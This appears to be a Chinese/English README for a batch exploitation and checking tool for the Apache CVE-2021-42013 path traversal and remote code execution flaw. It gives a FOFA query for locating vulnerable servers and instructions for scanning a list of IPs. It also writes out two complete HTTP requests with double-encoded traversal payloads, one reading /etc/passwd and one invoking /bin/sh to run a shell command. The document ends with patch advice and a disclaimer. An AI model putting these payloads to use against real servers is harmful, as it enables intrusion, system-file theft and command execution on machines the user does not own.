
Apache 远程代码执行 (CVE-2021-42013)批量检测工具:Apache HTTP Server是美国阿帕奇(Apache)基金会的一款开源网页服务器。该服务器具有快速、可靠且可通过简单的API进行扩充的特点,发现 Apache HTTP Server 2.4.50 中针对 CVE-2021-41773 的修复不够充分。攻击者可以使用路径遍历攻击将 URL 映射到由类似别名的指令配置的目录之外的文件。如果这些目录之外的文件不受通常的默认配置“要求全部拒绝”的保护,则这些请求可能会成功。如果还为这些别名路径启用了 CGI 脚本,则这可能允许远程代码执行。此问题仅影响 Apache 2.4.49 和 Apache 2.4.50,而不影响更早版本。
Apache Remote Code Execution (CVE-2021-42013)
Apache HTTP Server is an open-source web server from the Apache Software Foundation. It is fast, reliable, and extensible via a simple API. It was discovered that the fix for CVE-2021-41773 in Apache HTTP Server 2.4.50 was insufficient. An attacker could use a path traversal attack to map URLs to files outside the directories configured by Alias-like directives. If files outside these directories are not protected by the usual default configuration "require all denied", these requests may succeed. If CGI scripts are also enabled for these alias paths, this could allow remote code execution. This issue only affects Apache 2.4.49 and Apache 2.4.50, not earlier versions.
Apache HTTP Server 2.4.49
Apache HTTP Server 2.4.50
server="Apache/2.4.49" || server="Apache/2.4.50"
1.将准备检测的IP地址放入ip.txt文件中
2.运行python3 check.py
GET /icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd HTTP/1.1
Host: vuglfocus.fofa.so:55493
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: ZMSESSID=fcnisfo6rj1snid6e5r27kj1n0; zmSkin=classic
Connection: close
GET /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1
Host: vuglfocus.fofa.so:55493
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: ZMSESSID=fcnisfo6rj1snid6e5r27kj1n0; zmSkin=classic
Connection: close
Content-Length: 57
echo Content-Type: text/plain; echo;ls /

These vulnerabilities have now been fixed. Given the severity of the vulnerabilities, affected users are strongly advised to upgrade immediately to Apache HTTP Server 2.4.51 (released on October 7) or later.
Download Link:
https://httpd.apache.org/download.cgi#apache24
This tool is only provided for security testers to conduct self-security checks. Any consequences arising from user misuse are not the responsibility of the author. Users must comply with local laws. This program is not for commercial use and is intended only for learning and exchange.
